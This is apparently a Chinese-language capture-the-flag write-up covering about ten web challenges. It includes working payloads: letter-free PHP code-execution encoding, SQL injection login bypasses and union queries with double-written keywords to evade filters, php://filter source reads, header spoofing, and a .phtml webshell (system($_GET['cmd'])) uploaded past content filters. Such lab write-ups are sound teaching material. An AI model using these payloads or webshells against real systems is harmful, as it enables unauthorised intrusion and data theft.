0x00 RCE_ME
考点
- 无数字字母RCE
题解
源码:
1 |
|
这是一道代码执行的题目,限制了注入的代码的长度不超过40,并且不能包含数字和字母。在php7中引入了一个新的特性, https://www.php.net/manual/zh/migration70.incompatible.php :
也就是说php5和php7的差别在于,php7支持解析下面的代码,但是php5不行:
1 | (phpinfo)(); |
用Wappalyzer解析后,发现当前的php版本是7.0.33:
所以我们可以将phpinfo
命令进行编码传入,这样就能绕过正则匹配了。一般情况下我们可以用^
,|
或是~
这种取反异或的符号来绕过。比较习惯取反符号~
:
1 |
|
收集一下phpinfo信息:
1 | php version: 7.0.33 |
虽然禁掉了很多命令执行的函数,但是像scandir
这类函数都是可以使用的,所以使用print_r(scandir('./'))
查看下当前的目录下有什么东西:
1 | // print_r(scandir('./')) |
没有找到flag,在根目录下搜索:
1 | ?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0)); |
发现了两个flag相关文件,flag
和readflag
:
1 | Array |
尝试读取flag
失败,再尝试读取readflag
,发现是一个二进制文件,是需要执行读取flag的:
那只能先连接蚁剑了:
1 |
|
连接上去之后,将exp上传到/tmp
目录下:
注意修改该exp为pwn("/readflag");
:
然后include该文件读取flag:
0x01 HTTP
考点
- http请求头伪造
题解
打开题目后是一个挺好看的站点,但没什么功能点的感觉,用burp抓包后发现了一个php页面Secret.php
:
访问/Secret.php
,提示It doesn't come from 'https://www.Sycsecret.com'
:
所以需要修改referer:
请求之后返回提示请求的浏览器应为Syclover
,修改UA即可:
说明我们的请求原始ip地址需要为localhost,这里就需要修改X-Forwarded-For请求头了, X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段:
读取到了flag。
0x02 EasySQL
考点
- 字符串型注入
题解
打开题目,先注入:
1 | username : 1' |
发现报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1 |
发现是字符串型注入,并且是单引号'
闭合。
我们直接试一下万能密码:
1 | ?username=-1' or 1=1%23&password=1 |
直接获得flag:flag{cca2c7b9-2a85-4f7e-9e82-53ec2cdf7656}
。
0x03 BabySQL
考点
- 双写绕过
题解
直接上万能密码:
1 | ?username=1' or 1=1%23&password=1 |
报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#' and password='1'' at line 1 |
发现or
被过滤了,所以可以双写绕过:
1 | ?username=1' oorr 1=1%23&password=1 |
登录成功有数据回显
所以直接进行报错注入。
在尝试过程中发现过滤了:
1 | select |
等字符,对他们进行双写后有:
1 | ?username=1' oorr updatexml(1,concat(selselectect group_concat(TABLE_NAME) from infoorrmation_schema.TABLES whwhereere TABLE_SCHEMA=database()),1)%23&password=1 |
但是返回报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select group_concat(TABLE_NAME) information_schema.TABLES where TABLE_SCHEMA=da' at line 1 |
这应该是SQL查询语句过长导致的,所以我就放弃了报错注入,转而尝试用联合查询注入。
先看字段数:
1 | ?username=1' oorrder bbyy 4%23&password=1 |
最后发现是3列。接着看回显字段:
1 | ?username=1' uniunionon selselectect 1,2,3%23&password=1 |
发现回显字段是2和3。
爆表名,注意对or
,select
,from
,where
进行双写:
1 | ?username=1' uniunionon selselectect 1,(seselectlect group_concat(TABLE_NAME) frfromom infoorrmation_schema.TABLES whwhereere TABLE_SCHEMA=database()),3%23&password=1 |
得到数据表名b4bsql
和geekuser
,flag应该藏在b4bsql
表中,接着爆字段名:
1 | ?username=1' uniunionon selselectect 1,(selselectect group_concat(COLUMN_NAME) frfromom infoorrmation_schema.COLUMNS whwhereere TABLE_NAME=0x62346273716c),3%23&password=1 |
获得字段名id
,username
和password
,接着爆数据:
1 | ?username=1' uniunionon selselectect 1,(selselectect group_concat(passwoorrd) frfromom b4bsql),3%23&password=1 |
获得flag。
0x04 LoveSQL
考点
- 联合查询注入
题解
先找数据表名:
1 | ?username=1' union select 1,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),3%23&password=1 |
得到表名geekuser
和l0ve1ysq1
。
感觉flag应该存放在l0ve1ysql
数据表中,爆字段:
1 | ?username=1' union select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6c3076653179737131),3%23&password=1 |
获得字段名id
,username
,password
,最后爆数据,获得flag。
1 | ?username=1' union select 1,(select group_concat(password) from l0ve1ysq1),3%23&password=1 |
0x05 Secret File
考点
- 伪协议读取源码
题解
打开题目,访问页面用burp抓包。
然后访问Archive_room.php
之后,又发现源码中提示action.php
,访问该页面后提示secr3t.php
:
访问/secr3t.php
文件,获得源码:
1 | <html> |
这里过滤掉了一些伪协议,比如input
和data
,但是还可以用filter
读取源码:
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
base64解码,成功读取flag。
0x06 Knife
考点
- 中国菜刀/蚁剑等工具使用
题解
打开题目就看到提示:
显然是用菜刀或是蚁剑解决的一道题,先试一下能不能执行phpinfo();
:
可以执行,这道题就是考察蚁剑或是中国菜刀等工具的使用,很简单,直接上蚁剑:
这里的密码注意是Syc
,因为前面是eval($_POST["Syc"]);
,否则连上去会像乱码一样,因为是post请求,所以还得设置请求体:
连接上去后在根目录下发现flag文件:
直接读取:
0x07 Upload
考点
- 文件上传绕过
题解
打开题目,是一个文件上传的点,随便上传一张图片,返回Not image,修改文件头为GIF89a
:
这样就绕过了第一步的限制,接着尝试写入恶意脚本,修改文件后缀名为php
,被wa掉了,禁止上传后缀为php的文件,尝试了php5
等常见的后缀名后,发现.phtml
没有被禁掉,接着尝试写入一句话木马<?php system($_GET['cmd']);?>
:
被拦下,服务器端会检查用户上传的文件的内容是否包含敏感字符<?
,可以用js的<script>
绕过:
1 | <script language="php"> |
成功上传了文件之后,我们还需要上传的文件在哪里,上dirsearch
扫描:
发现了文件的保存路径/upload
,接着在根目录/
下发现了flag:
1 | /upload/shell.phtml?cmd=cat%20-al%20/ |
读取flag:
0x08 Havefun
考点
- 水题
题解
打开题目,F12查看源码:
1 | $cat=$_GET['cat']; |
直接访问/?cat=dog
就得到了flag:
0x09 BuyFlag
考点
- php strcmp()函数漏洞
题解
查看右边的导航栏,发现了一个页面pay.php
:
右键查看源码或者是burp抓个包就能发现源码:
1 | <!-- |
需要post两个参数,money
和password
,password的绕过很简单,因为是弱类型比较,所以令password=404xxx
即可,但如果简单的令money=100000000
的话,会得到Nember lenth is too long
:
然后发现了php的版本是5.3,该版本的strcmp()
函数存在一个漏洞。
strcmp漏洞 (PHP<=5.3)
当该函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,也就是说虽然会报错,但却判定其相等。
利用该漏洞,我们另money[]=10000000
:
成功得到了flag。